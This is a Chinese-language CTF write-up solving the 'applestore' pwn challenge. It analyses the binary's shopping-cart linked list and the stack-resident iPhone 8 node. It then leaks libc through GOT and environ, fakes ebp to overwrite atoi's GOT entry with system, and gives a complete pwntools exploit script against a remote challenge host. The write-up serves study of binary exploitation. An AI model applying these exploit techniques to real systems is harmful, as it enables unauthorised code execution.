最近突然之间对pwn来了兴致,继续学习一下好了
首先打开程序,发现是一个购买东西的界面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 === Menu === 1: Apple Store 2: Add into your shopping cart 3: Remove from your shopping cart 4: List your shopping cart 5: Checkout 6: Exit > 1 === Device List === 1: iPhone 6 - $199 2: iPhone 6 Plus - $299 3: iPad Air 2 - $499 4: iPad Mini 3 - $399 5: iPod Touch - $199 > 2 Device Number> 1 You've put *iPhone 6* in your shopping cart. Brilliant! That's an amazing idea. > 3 Item Number> 1 Remove 1:iPhone 6 from your shopping cart. > 4 Let me check your cart. ok? (y/n) > y ==== Cart ==== > 1 === Device List === 1: iPhone 6 - $199 2: iPhone 6 Plus - $299 3: iPad Air 2 - $499 4: iPad Mini 3 - $399 5: iPod Touch - $199 > 5 Let me check your cart. ok? (y/n) > y ==== Cart ==== Total: $0 Want to checkout? Maybe next time! >  
我们从IDA中,也能够看到类似的内容。其大致就是一个购买iPhone 的程序,然后我们看到程序逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 Phone *__cdecl insert (Phone *a1)  {   Phone *result;    Phone *i;    for  ( i = &myCart; i->next; i = (Phone *)i->next )     ;   i->next = (int )a1;   result = a1;   a1->before = (int )i;   return  result; } 
从这里我们能够知道,这个Phone对象是一个双重指针,每一个Phone对象都会以指针的形式丢在myCard 这个全局变量上。然后,这个Phone对象不出所料的是一个chunk:
1 2 3 4 5 6 7 8 9 10 11 12 13 Phone *__cdecl create (char  *a1, int  a2)  {   Phone *v2;    Phone *v3;    v2 = (Phone *)malloc (0x10 u);   v3 = v2;   v2->price = a2;   asprintf((char  **)v2, "%s" , a1);                 v3->next = 0 ;   v3->before = 0 ;   return  v3; } 
这里能够知道,每次分配的大小为0x10,然后price本身的内容为一个整数,接下来会在v2的位置上存放一个字符串指针,大小为能够放入a1那个字符串大小的空间。之后我们观察释放的过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned  int  delete () {   signed  int  first;    Phone *Phones;    int  No;    Phone *phone_next;    Phone *phone_before;    char  nptr;    unsigned  int  v7;    v7 = __readgsdword(0x14 u);   first = 1 ;   Phones = (Phone *)next_Phone;   printf ("Item Number> " );   fflush(stdout );   my_read(&nptr, 0x15 u);   No = atoi(&nptr);   while  ( Phones )   {     if  ( first == No )     {       phone_next = (Phone *)Phones->next;       phone_before = (Phone *)Phones->before;       if  ( phone_before )         phone_before->next = (int )phone_next;       if  ( phone_next )         phone_next->before = (int )phone_before;       printf ("Remove %d:%s from your shopping cart.\n" , first, Phones->str);       return  __readgsdword(0x14 u) ^ v7;     }     ++first;     Phones = (Phone *)Phones->next;   }   return  __readgsdword(0x14 u) ^ v7; } 
观察这个过程,大概的逻辑就是,检查输入的数字和first是否相等,相等的时候向链表后方移动一位。如果相等时候后,将这个需要删除的堆块取出(但是注意,这里并没有将堆块free掉)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int  cart () {   signed  int  num;    signed  int  v2;    int  sum_price;    Phone *i;    char  buf;    unsigned  int  v6;    v6 = __readgsdword(0x14 u);   v2 = 1 ;   sum_price = 0 ;   printf ("Let me check your cart. ok? (y/n) > " );   fflush(stdout );   my_read(&buf, 0x15 u);   if  ( buf == 0x79  )   {     puts ("==== Cart ====" );     for  ( i = (Phone *)next_Phone; i; i = (Phone *)i->next )     {       num = v2++;       printf ("%d: %s - $%d\n" , num, i->str, i->price);       sum_price += i->price;     }   }   return  sum_price; } 
这个逻辑相当于检查我们的购物车中总共有多少钱。然后还有一段很有趣的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned  int  checkout () {   int  sum_price;    Phone a1;    unsigned  int  v3;    v3 = __readgsdword(0x14 u);   sum_price = cart();   if  ( sum_price == 7174  )   {     puts ("*: iPhone 8 - $1" );     asprintf((char  **)&a1, "%s" , "iPhone 8" );     a1.price = 1 ;                                                                                                                                      insert(&a1);     sum_price = 7175 ;   }   printf ("Total: $%d\n" , sum_price);   puts ("Want to checkout? Maybe next time!" );   return  __readgsdword(0x14 u) ^ v3; } 
这个地方我们会发现,如果我们此时购买的iPhone总价格达到了7174的价格的时候,我们就能够买入iPhone 8!并且有一点很有意思,这个iPhone8是**【放在栈上的】**。这个条件好像很重要。。。(1)iPhone 6 199*6和 (2) iPhone 6 Plus 299*20。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 00000000 Phone           struc ; (sizeof=0x10, mappedto_1) 00000000                                         ; XREF: checkout/r 00000000 str             dd ?                    ; offset 00000004 price           dd ?                    ; XREF: checkout+50/w 00000008 next            dd ?                    ; offset 0000000C before          dd ?                    ; offset 00000010 Phone           ends +-------------------+  ebp - 20h |      str addr     | +-------------------+ |      price        | +-------------------+ |     next chunk    | +-------------------+ |    before chunk   | +-------------------+  ebp - 10h 
如果说,我们把上面的结构体拿出来的话,那么在【进入别的函数的时候,ebp-20h~ebp-10h之间的内容将会发生变动】,这一点可以好好利用一下。我们知道,此时【insert函数只会将当前的before chunk】的值更改,但是【此时的next chunk】的值不发生变化。
由于iPhone 8的 next 指针没有被修改,此时的next指针指向的位置就是【原先栈中的位置】 
由于此时的before存在栈上,那么在【下一次对栈中的值进行修改的时候,before指针也是可以发生变化的】 
 
首先观察到,比较合适的修改函数为cart:
1 2 3 4 5 6 7 8 9 int  cart () {   signed  int  num;    signed  int  v2;    int  sum_price;    Phone *i;    char  buf;    unsigned  int  v6;  
这个buf的内容正好涵盖了ebp-20h 到 ebp - 10h,相当于说这整个的chunk我们都能够控制。然后我们能够找到另一个可以利用的位置:
1 printf ("Remove %d:%s from your shopping cart.\n" , first, Phones->str);
这个地方,如果我们将str addr覆盖成任意一个got表的位置,我们就能够泄露地址了!然后我们通过修改atoi的got表的地址,从而将atoi的地址修改成sysytem,完成攻击!。
首先我们构造26个块:
1 2 3 +----------+         +----------+ |  chunk1  | --> ... | chunk26  |  +----------+         +----------+    
然后我们构造第27个块,放在上面:
1 2 3 4 5 6 7 8 9 10 +----------+         +----------+     |  chunk1  | --> ... | chunk26  |-->+-------------------+  ebp - 20h +----------+         +----------+   |      str addr     |                                     +-------------------+                                     |      price        |                                     +-------------------+                                     |     next chunk    |                                     +-------------------+                                     |    before chunk   |                                     +-------------------+  ebp - 10h 
然后我们通过delete函数,在ebp-22h处写入27,然后ebp-20h开始,写入printf的地址0804B010:
1 2 3 4 5 6 7 8 9 10 11 +--------+             ebp - 22h |  nptr  | +-------------------+  ebp - 20h |     atoi addr     | +-------------------+ |      price        | +-------------------+ |     next chunk    | +-------------------+ |    before chunk   | +-------------------+  ebp - 10h 
就能够完成泄露。然后,我们通过修改before指针,让其等于atoi.got - 0x8,那么之后在:
1 2 3 4 5 6 7 8 if  ( first == No ){   phone_next = (Phone *)Phones->next;   phone_before = (Phone *)Phones->before;   if  ( phone_before )     phone_before->next = (int )phone_next;   if  ( phone_next )     phone_next->before = (int )phone_before; 
这个位置上,我们就能通过phone->before->next,让atoi.got的值变成phone->next的值。然后我们尝试在泄露地址之后写入值,发现不行呀!如果我们利用上述过程的话,必定有Phone->next发生写入,而如果我们此时next改成了system的地址的时候,发生写入肯定是【会发生段保护的】。。。Emmm真的难。。不过后来修改了一下逻辑,我们只需要要cart,一样也可以进行泄露。
参考了一下网上的意见,大部分给出的答案都是说,【要控制ebp】 。这个想法看到学长用过,我观察一下哪里可以控制先:
1 2 3 4 5 6 7 8 9 10 11 +--------+             ebp - 22h |  nptr  | +-------------------+  ebp - 20h |     atoi addr     | +-------------------+ |      price        | +-------------------+ |     next chunk    |  <---------------- 如果这个填写atoi.got + 0x22 +-------------------+ |    before chunk   |  <---------------- 如果这个填写old ebp - 0x100 +-------------------+  ebp - 10h 
突然想通了!伪造ebp 其实非常的关键:main函数中,我们的nptr其实上就能够指向此时的got地址!
1 2 3 4 5 6 7 8 9 10 11 unsigned  int  handler () {   char  nptr;    unsigned  int  v2;    v2 = __readgsdword(0x14 u);   while  ( 1  )   {     printf ("> " );     fflush(stdout );     my_read(&nptr, 0x15 u); 
这样的话,就方便很多!那么为了实现这个操作,最关键内容变成了【泄露一个栈上的地址】,而后我们可以知道,有一个叫做environ 的变量,正好会存放当前栈中环境变量所在的位置,这里我们可以将其泄露出来,从而得到栈的地址。
最后的最后,还要注意,在发生了read之后才会进入atoi,所以我们输入的system_addr的地址也会就进入到system函数中。不过有了pwnable5的教训,我们知道,只需要加入一个**;**就能够截断之前的字符串,于是我们可以发送:
1 p32(system_addr)+";/bin/sh" 
即可完成攻击!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from  pwn import  *DEBUG = False  if  DEBUG:    ph = process("./applestore" )     context.log_level = "debug"      context.terminal = ['tmux' ,'splitw' ,'-h' ]     gdb.attach(ph, "break *0x080489FD" )     libc  = ELF("./mylibc.so.6" ) else :    ph = remote("139.162.123.119" ,10104 )     libc  = ELF("./libc_32.so.6" ) environ_libc = libc.symbols['environ' ] atoi_libc = libc.symbols['atoi' ] system_libc = libc.symbols['system' ] atoi_got_addr = 0x0804B040   def  insert (ph, num ):    print  ph.recvuntil("> " )     ph.sendline("2" )     print  "2"      print  ph.recvuntil("Device Number> " )     ph.sendline(num)     print  num def  delete (ph, num ):    print  ph.recvuntil("> " )     ph.sendline("3" )     print  ph.recvuntil("Item Number> " )     ph.sendline(num)     print  num def  checkout (ph, num ):    print  ph.recvuntil("> " )     ph.sendline("5" )     print  ph.recvuntil("Let me check your cart. ok? (y/n) > " )     ph.sendline("y" )     print  "y"      print  ph.recvuntil("Want to checkout? Maybe next time!" ) def  cart (ph, addr ):    print  ph.recvuntil("> " )     ph.sendline("4" )     ph.recvuntil("Let me check your cart. ok? (y/n) > " )     ph.sendline("y\x00"  + p32(addr) + p32(0 )*3 )          ph.recvuntil("27: " )     return  u32(ph.recvuntil("\n" )[:4 ]) if  __name__ == "__main__" :         for  i in  range (6 ):         insert(ph, "1" )     for  i in  range (20 ):         insert(ph, "2" )          checkout(ph, "3" )          print  "[+] environ is %x" %environ_libc     print  "[+] system is %x" %system_libc     print  "[+] atoi is %x" %atoi_libc     atoi_addr = cart(ph, atoi_got_addr)     log.success("leak atoi address is %x" %atoi_addr)     environ_bss = atoi_addr - atoi_libc + environ_libc     environ_addr = cart(ph, environ_bss)     print  "[+] environ_addr is %x" %environ_bss     log.success("get environ address %x" %environ_addr)     system_addr = atoi_addr - atoi_libc + system_libc     log.success("get system address %x" %system_addr)          old_ebp = environ_addr - 0x100      target_ebp = old_ebp - 0xc      target_atoi = atoi_got_addr + 0x22           print  ph.recvuntil("> " )     ph.sendline("3" )     print  ph.recvuntil("Item Number> " )     ph.sendline("27"  + p32(atoi_got_addr) + "aaaa"  + p32(target_atoi) + p32(target_ebp))     print  "27"           print  ph.recvuntil("> " )     ph.sendline(p32(system_addr)+";/bin/sh" )               ph.interactive() 
总结 
这次的题目,利用方法还是通过修改.got表的方式进行利用,其中比较核心的利用方法就是控制ebp,也就是控制栈 的重要性。其实不单纯是劫持程序流,如果能够劫持栈的话,也不失为一种良好的利用方式。